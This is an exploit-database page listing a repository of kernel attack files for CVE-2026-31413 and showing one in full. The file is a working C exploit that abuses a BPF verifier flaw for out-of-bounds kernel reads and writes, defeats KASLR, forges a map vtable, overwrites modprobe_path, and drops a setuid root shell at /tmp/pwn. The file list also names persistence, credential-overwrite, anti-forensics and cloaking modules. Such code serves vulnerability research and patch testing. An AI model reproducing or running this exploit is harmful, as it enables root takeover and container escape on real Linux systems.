Exploit databaseDownload repository ZIP
GH-4dfb7376c6c18a050be1603b3f20d96f
rat5ak/cve-2026-31413-bpf-container-escape
Sources for CVE-2026-31413
1 sourcePreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files19
rat5ak/cve-2026-31413-bpf-container-escapeRevision 9c8fc1db7b9c
- ↑..Parent directory
- exploit.c
- exploit_common.h
- exploit_ctf.c
- exploit_gke.c
- exploit_gke_v2
- exploit_gke_v2.c
- exploit_or_fork.c
- exploit_or_fork2.c
- exploit_or_fork3.c
- exploit_or_fork_rw.c
- tier10_anti_forensics.c
- tier2_cred_overwrite.c
- tier3_syscall_hook.c
- tier4_security_disable.c
- tier5_cross_container.c
- tier6_persistence.c
- tier7_hardware.c
- tier8_dkom_cloak.c
- tier9_code_inject.c
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
exploit/exploit_ctf.c
C · 14,077 bytes#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>
#include <sys/syscall.h>
#include <sys/socket.h>
#include <errno.h>
#include <sys/stat.h>
#include <linux/bpf.h>
#include "../bpf_helpers.h"
#define ARRAY_SIZE(x) (sizeof(x)/sizeof((x)[0]))
/* Expected array_map_ops address for KASLR=off (6.12.76).
* We leak the real one and compute the slide. */
#define ARRAY_MAP_OPS_NOKASLR 0xffffffff846d0ca0ULL
#define GET_NEXT_KEY_NOKASLR 0xffffffff8164a4e0ULL
#define MODPROBE_NOKASLR 0xffffffff85a8c420ULL
/* bpf_map struct offsets from value[0] (bpf_array+256) */
#define OFF_OPS (-256)
#define OFF_MAP_TYPE (-232)
#define OFF_KEY_SIZE (-228)
#define OFF_VALUE_SIZE (-224)
#define OFF_MAX_ENTRIES (-220)
#define OFF_WAIT_LIST (-136)
static uint64_t kaslr_slide = 0;
#define K(addr) ((addr) + kaslr_slide)
/* Helper: BPF syscall wrapper */
static int bpf_(int cmd, union bpf_attr *a, unsigned s)
{ return syscall(__NR_bpf, cmd, a, s); }
static int map_create(int type, int key_sz, int val_sz, int max)
{
union bpf_attr a = {0};
a.map_type = type;
a.key_size = key_sz;
a.value_size = val_sz;
a.max_entries = max;
return bpf_(BPF_MAP_CREATE, &a, sizeof(a));
}
static int map_update(int fd, const void *key, const void *val)
{
union bpf_attr a = {0};
a.map_fd = fd;
a.key = (uint64_t)(unsigned long)key;
a.value = (uint64_t)(unsigned long)val;
return bpf_(BPF_MAP_UPDATE_ELEM, &a, sizeof(a));
}
static int map_lookup(int fd, const void *key, void *val)
{
union bpf_attr a = {0};
a.map_fd = fd;
a.key = (uint64_t)(unsigned long)key;
a.value = (uint64_t)(unsigned long)val;
return bpf_(BPF_MAP_LOOKUP_ELEM, &a, sizeof(a));
}
static int map_push(int fd, const void *val, uint64_t flags)
{
union bpf_attr a = {0};
a.map_fd = fd;
a.value = (uint64_t)(unsigned long)val;
a.flags = flags;
return bpf_(BPF_MAP_UPDATE_ELEM, &a, sizeof(a));
}
/* OOB read: reads 8 bytes at map_value + offset (negative ok) */
static int oob_read_prog(int map_fd, int dst_fd, int offset)
{
int K = -offset;
struct bpf_insn insn[] = {
BPF_LD_MAP_FD(R1, map_fd),
BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -8),
BPF_ST_MEM(BPF_DW, R10, -8, 0),
BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1),
BPF_JMP_IMM(BPF_JNE, R0, 0, 2), BPF_MOV64_IMM(R0,0), BPF_EXIT_INSN(),
BPF_LDX_MEM(BPF_DW, R6, R0, 0),
BPF_LD_MAP_FD(R1, dst_fd),
BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -8),
BPF_ST_MEM(BPF_DW, R10, -8, 0),
BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1),
BPF_JMP_IMM(BPF_JNE, R0, 0, 2), BPF_MOV64_IMM(R0,0), BPF_EXIT_INSN(),
BPF_MOV64_REG(R9, R0),
BPF_LD_MAP_FD(R1, map_fd),
BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -8),
BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1),
BPF_JMP_IMM(BPF_JNE, R0, 0, 2), BPF_MOV64_IMM(R0,0), BPF_EXIT_INSN(),
BPF_MOV64_REG(R8, R0),
BPF_ALU64_IMM(BPF_ARSH, R6, 63),
BPF_ALU64_IMM(BPF_OR, R6, K),
BPF_MOV64_IMM(R7, 0),
BPF_ALU64_REG(BPF_SUB, R7, R6),
BPF_ALU64_REG(BPF_ADD, R8, R7),
BPF_LDX_MEM(BPF_DW, R0, R8, 0),
BPF_STX_MEM(BPF_DW, R9, R0, 0),
BPF_MOV64_IMM(R0, 0),
BPF_EXIT_INSN(),
};
return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER,
insn, ARRAY_SIZE(insn), NULL, 0, 0);
}
/* OOB write: writes 8 bytes at map_value + offset (negative ok) */
static int oob_write_prog(int map_fd, int val_fd, int offset)
{
int K = -offset;
struct bpf_insn insn[] = {
BPF_LD_MAP_FD(R1, map_fd),
BPF_ST_MEM(BPF_W, R10, -4, 0),
BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -4),
BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1),
BPF_JMP_IMM(BPF_JEQ, R0, 0, 20), BPF_MOV64_REG(R9, R0),
BPF_LDX_MEM(BPF_DW, R6, R9, 0),
BPF_ALU64_IMM(BPF_ARSH, R6, 63),
BPF_ALU64_IMM(BPF_OR, R6, K),
BPF_JMP_IMM(BPF_JSLT, R6, 0, 13),
BPF_MOV64_IMM(R7, 0),
BPF_ALU64_REG(BPF_SUB, R7, R6),
BPF_ALU64_REG(BPF_ADD, R9, R7),
BPF_LD_MAP_FD(R1, val_fd),
BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -4),
BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1),
BPF_JMP_IMM(BPF_JEQ, R0, 0, 4),
BPF_LDX_MEM(BPF_DW, R8, R0, 0),
BPF_STX_MEM(BPF_DW, R9, R8, 0),
BPF_MOV64_IMM(R0, 0), BPF_JMP_IMM(BPF_JA, 0, 0, 2),
BPF_MOV64_IMM(R0, 0), BPF_JMP_IMM(BPF_JA, 0, 0, 0),
BPF_EXIT_INSN(),
};
return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER,
insn, ARRAY_SIZE(insn), NULL, 0, 0);
}
static int preload_oob_write(int map_fd, int val_fd, int offset)
{
int p = oob_write_prog(map_fd, val_fd, offset);
if (p < 0) fprintf(stderr, "[-] preload oob_write fail off=%d\n", offset);
return p;
}
static void exec_oob_write(int prog_fd, int val_fd, uint64_t value)
{
uint32_t k = 0;
map_update(val_fd, &k, &value);
trigger_bpf_prog(prog_fd);
close(prog_fd);
}
static uint64_t do_oob_read(int map_fd, int dst_fd, int offset)
{
uint32_t k = 0;
int p = oob_read_prog(map_fd, dst_fd, offset);
if (p < 0) { fprintf(stderr, "[-] oob_read load fail off=%d\n", offset); return 0; }
trigger_bpf_prog(p);
close(p);
uint64_t result = 0;
map_lookup(dst_fd, &k, &result);
return result;
}
int main(void)
{
printf("[*] BPF verifier exploit - maybe_fork_scalars() BPF_OR\n");
printf("[*] Target: kernelCTF LTS 6.12 (KASLR enabled)\n\n");
/* Create maps */
int victim = map_create(BPF_MAP_TYPE_ARRAY, 4, 512, 1);
int scratch = map_create(BPF_MAP_TYPE_ARRAY, 4, 8, 1);
if (victim < 0 || scratch < 0) {
perror("[-] map_create");
return 1;
}
printf("[+] victim map fd=%d, scratch fd=%d\n", victim, scratch);
/* Seed victim value[0..7] = 1 (positive, needed for ARSH trick) */
uint8_t seed[512];
memset(seed, 0, sizeof(seed));
*(uint64_t *)seed = 1;
uint32_t zero = 0;
map_update(victim, &zero, seed);
/* ============================================================
* Step 1: OOB reads - leak addresses, compute KASLR slide
* ============================================================ */
printf("[*] Step 1: Leaking kernel addresses...\n");
uint64_t ops = do_oob_read(victim, scratch, OFF_OPS);
printf("[+] ops = 0x%016lx\n", ops);
if ((ops & 0xfff) != (ARRAY_MAP_OPS_NOKASLR & 0xfff)) {
fprintf(stderr, "[-] ops low bits mismatch (got 0x%03lx, expect 0x%03lx)\n",
ops & 0xfff, ARRAY_MAP_OPS_NOKASLR & 0xfff);
return 1;
}
kaslr_slide = ops - ARRAY_MAP_OPS_NOKASLR;
printf("[+] KASLR slide = 0x%lx\n", kaslr_slide);
uint64_t wait_list = do_oob_read(victim, scratch, OFF_WAIT_LIST);
uint64_t map_addr = wait_list - 120;
uint64_t val_addr = map_addr + 256;
printf("[+] bpf_map addr = 0x%016lx\n", map_addr);
printf("[+] value[0] addr = 0x%016lx\n", val_addr);
uint64_t orig_ops = ops;
uint64_t orig_type_key = do_oob_read(victim, scratch, OFF_MAP_TYPE);
uint64_t orig_max = do_oob_read(victim, scratch, OFF_MAX_ENTRIES);
printf("[+] orig map_type|key_size = 0x%016lx\n", orig_type_key);
printf("[+] orig max_entries = 0x%016lx\n", orig_max);
printf("[*] Step 1 OK\n\n");
/* ============================================================
* Step 2: Pre-load ALL OOB write programs (while ops is real!)
* ============================================================ */
printf("[*] Step 2: Pre-loading BPF programs...\n");
int prog_wr_ops = preload_oob_write(victim, scratch, OFF_OPS);
int prog_wr_max = preload_oob_write(victim, scratch, OFF_MAX_ENTRIES);
int prog_wr_type = preload_oob_write(victim, scratch, OFF_MAP_TYPE);
int prog_rst_type = preload_oob_write(victim, scratch, OFF_MAP_TYPE);
int prog_rst_max = preload_oob_write(victim, scratch, OFF_MAX_ENTRIES);
int prog_rst_ops = preload_oob_write(victim, scratch, OFF_OPS);
if (prog_wr_ops < 0 || prog_wr_max < 0 || prog_wr_type < 0 ||
prog_rst_type < 0 || prog_rst_max < 0 || prog_rst_ops < 0) {
fprintf(stderr, "[-] Failed to pre-load BPF programs\n");
return 1;
}
printf("[+] 6 OOB write programs pre-loaded\n");
printf("[*] Step 2 OK\n\n");
/* ============================================================
* Step 3: Write fake vtable into victim map value
* All function pointers adjusted by KASLR slide.
* ============================================================ */
printf("[*] Step 3: Building fake vtable (43 entries)...\n");
uint8_t val[512];
memset(val, 0, sizeof(val));
*(uint64_t *)val = 1; /* keep val[0..7] positive for ARSH */
uint64_t *vtable = (uint64_t *)(val + 8);
vtable[ 0] = K(0xffffffff8164a090); /* map_alloc_check */
vtable[ 1] = K(0xffffffff8164f7c0); /* map_alloc */
vtable[ 2] = 0;
vtable[ 3] = K(0xffffffff81650750); /* map_free */
vtable[ 4] = K(0xffffffff8164a4e0); /* map_get_next_key */
vtable[ 5] = K(0xffffffff8164f000); /* map_release_uref */
vtable[ 6] = 0;
vtable[ 7] = K(0xffffffff8157c0e0); /* map_lookup_batch */
vtable[ 8] = 0;
vtable[ 9] = 0;
vtable[10] = K(0xffffffff8157bc00); /* map_update_batch */
vtable[11] = 0;
vtable[12] = K(0xffffffff8164ac30); /* map_lookup_elem */
vtable[13] = K(0xffffffff81651370); /* map_update_elem */
vtable[14] = K(0xffffffff8164a620); /* map_delete_elem */
vtable[15] = K(GET_NEXT_KEY_NOKASLR); /* map_push_elem → GET_NEXT_KEY! */
vtable[16] = 0;
vtable[17] = 0;
vtable[18] = 0;
vtable[19] = 0;
vtable[20] = 0;
vtable[21] = K(0xffffffff8164cb90); /* map_gen_lookup */
vtable[22] = 0;
vtable[23] = K(0xffffffff8164b9f0); /* map_seq_show_elem */
vtable[24] = K(0xffffffff81650200); /* map_check_btf */
vtable[25] = 0;
vtable[26] = 0;
vtable[27] = 0;
vtable[28] = K(0xffffffff8164a2c0); /* map_direct_value_addr */
vtable[29] = K(0xffffffff8164a3c0); /* map_direct_value_meta */
vtable[30] = K(0xffffffff8164b830); /* map_mmap */
vtable[31] = 0;
vtable[32] = 0;
vtable[33] = 0;
vtable[34] = 0;
vtable[35] = 0;
vtable[36] = 0;
vtable[37] = K(0xffffffff81650390); /* map_meta_equal */
vtable[38] = K(0xffffffff8160e480); /* map_set_for_each_callback_args */
vtable[39] = K(0xffffffff8164b580); /* map_for_each_callback */
vtable[40] = K(0xffffffff8164b200); /* map_mem_usage */
vtable[41] = K(0xffffffff857cf530); /* map_btf_id (data ptr) */
vtable[42] = K(0xffffffff846d0e20); /* iter_seq_info (data ptr) */
map_update(victim, &zero, val);
printf("[+] Fake vtable written to map value\n");
printf("[*] Step 3 OK\n\n");
/* ============================================================
* Step 4: Corrupt map header using pre-loaded programs.
* ORDER: ops first (map_type still ARRAY), max, type last.
* ============================================================ */
printf("[*] Step 4: Corrupting map header...\n");
uint64_t fake_ops = val_addr + 8;
exec_oob_write(prog_wr_ops, scratch, fake_ops);
printf("[+] ops -> 0x%016lx (fake vtable)\n", fake_ops);
exec_oob_write(prog_wr_max, scratch, 0xFFFFFFFFULL);
printf("[+] max_entries -> 0xFFFFFFFF\n");
exec_oob_write(prog_wr_type, scratch, 22ULL); /* QUEUE=22 */
printf("[+] map_type -> QUEUE (22)\n");
printf("[*] Step 4 OK\n\n");
/* ============================================================
* Step 5: Arbitrary write via map_push -> get_next_key
* Write "/a\0\0" to modprobe_path
* ============================================================ */
printf("[*] Step 5: Overwriting modprobe_path...\n");
uint64_t dst = K(MODPROBE_NOKASLR);
uint8_t push_buf[512];
memset(push_buf, 0, sizeof(push_buf));
#define ARB_WRITE32(addr, val32) do { \
uint32_t _v = (val32); \
uint32_t _pv = _v - 1; \
memset(push_buf, 0, sizeof(push_buf)); \
memcpy(push_buf, &_pv, 4); \
errno = 0; \
int _r = map_push(victim, push_buf, (addr)); \
printf("[+] arb_write32(0x%lx) = 0x%08x -> ret=%d errno=%d\n", \
(uint64_t)(addr), _v, _r, errno); \
} while(0)
ARB_WRITE32(dst, 0x0000612fU); /* "/a\0\0" */
printf("[*] Step 5 OK\n\n");
/* ============================================================
* Step 6: Restore map header
* ============================================================ */
printf("[*] Step 6: Restoring map header...\n");
exec_oob_write(prog_rst_type, scratch, orig_type_key);
printf("[+] map_type|key_size restored\n");
exec_oob_write(prog_rst_max, scratch, orig_max);
printf("[+] max_entries restored\n");
exec_oob_write(prog_rst_ops, scratch, orig_ops);
printf("[+] ops restored\n");
printf("[*] Step 6 OK\n\n");
/* ============================================================
* Step 7: Trigger modprobe_path execution
* For kernelCTF: read /flag (on /dev/vdb) to stdout.
* ============================================================ */
printf("[*] Step 7: Triggering modprobe_path...\n");
FILE *f = fopen("/a", "w");
if (!f) { perror("fopen /a"); return 1; }
fprintf(f, "#!/bin/sh\n"
"id\n"
"cat /flag 2>/dev/null || cat /dev/vdb 2>/dev/null\n"
"cp /bin/sh /tmp/pwn 2>/dev/null && chmod 04755 /tmp/pwn 2>/dev/null\n");
fclose(f);
chmod("/a", 0755);
f = fopen("/tmp/dummy", "w");
if (!f) { perror("fopen /tmp/dummy"); return 1; }
fprintf(f, "\xff\xff\xff\xff");
fclose(f);
chmod("/tmp/dummy", 0755);
system("/tmp/dummy");
usleep(500000);
printf("[*] Done.\n");
close(victim);
close(scratch);
return 0;
}